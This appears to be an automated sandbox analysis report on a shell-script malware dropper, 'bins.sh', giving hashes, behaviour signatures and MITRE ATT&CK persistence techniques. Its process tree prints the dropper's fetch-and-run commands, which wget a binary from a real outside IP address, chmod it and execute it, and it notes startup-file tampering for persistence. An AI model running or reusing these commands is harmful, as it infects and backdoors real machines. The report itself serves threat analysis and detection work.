Analysis
- max time kernel
149s - max time network
149s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
28/06/2026, 12:11
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20260513-en
General
- Target bins.sh
- Size 1KB
- Sample260628-pc3ryag14p
- SHA256 f6f3b06ff42116c675cdf5a6165a9d52b30fdfd232622eaa3840383bf363f25e
- MD5 05fda71868fe0643b0a4935897800eeb
- SHA1 68208ebc39593e3be91f2ec536f90ed2ac5ef9d9
- SHA512 e8ac4bed6e055cf13ffbbce471e67b292b8b466ca29883d087e28ff3e4c99ada28ac3c2e1f9924346b8efce405ece1b9db65d8da8a459001235e42d0fa081807
- TLSH T1C241B28B726434B3C40AEE55F3E495C4E18997E3E2B7CAB8B4A48763105D12CF5A6F70
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1504 chmod - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/x86 1505 bins.sh - Creates/modifies environment variables 1 TTPs 3 IoCs
Creating/modifying environment variables is a common persistence mechanism.
description ioc Process File opened for modification /etc/profile x86 File opened for modification /root/.bashrc x86 File opened for modification /home/user/.bashrc x86 - Write file to user bin folder 2 IoCs
description ioc Process File opened for modification /usr/bin/test_write x86 File opened for modification /usr/bin/sysd x86 - Modifies Bash startup script 2 TTPs 3 IoCs
description ioc Process File opened for modification /etc/profile x86 File opened for modification /root/.bashrc x86 File opened for modification /home/user/.bashrc x86 - Enumerates kernel/hardware configuration 1 TTPs 3 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/kernel/mm/transparent_hugepage/hpage_pmd_size x86 File opened for reading /sys/fs/cgroup/cpu,cpuacct/cpu.cfs_quota_us x86 File opened for reading /sys/fs/cgroup/cpu,cpuacct/cpu.cfs_period_us x86 -
description ioc Process File opened for reading /proc/self/mountinfo x86 File opened for reading /proc/stat x86 File opened for reading /proc/meminfo x86 File opened for reading /proc/self/cgroup x86 - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/x86 wget
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
PID:1493 -
/usr/bin/wgetwget http://91.92.42.125/x86 -O x862⤵
- Writes file to tmp directory
PID:1494
-
-
/bin/chmodchmod +x x862⤵
- File and Directory Permissions Modification
PID:1504
-
-
/tmp/x86./x862⤵
- Creates/modifies environment variables
- Write file to user bin folder
- Modifies Bash startup script
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:1505
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Privilege Escalation
Boot or Logon Autostart Execution
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/x86
- Size 5.6MB
- SHA256 caa9408fdf9272b4a2c02061218f78c96124608dd23694cfc19ab0747ec1a43c
- MD5 876fd318fdc34f99f4287b3d86790d9f
- SHA1 22b3f5db2854896dc5e1a41d24d8dff03ce54e79
- SHA512 4de5c64e17d4aafb4d3206ffc4d4f6caeea61390b4e2c4778076cd71016eee67a5260a590969aa150f0ebb618e9394338b49af45c2030f537930381f0fac8446
- SSDEEP 49152:42pVfZ03PyySNwWl3neuLayncJgzFtNd4yUkG730Qh5sL/Aah0WZHa5Ek:Xle3qySNpay5Hd4yG7wIdWdwEk
- TLSH T1D5563811FACB04F6E6031E3104BBA27F67315D064B25DBD7EB407E29FA7BA911936209
- MD5 SHA1 SHA512 SSDEEP TLSH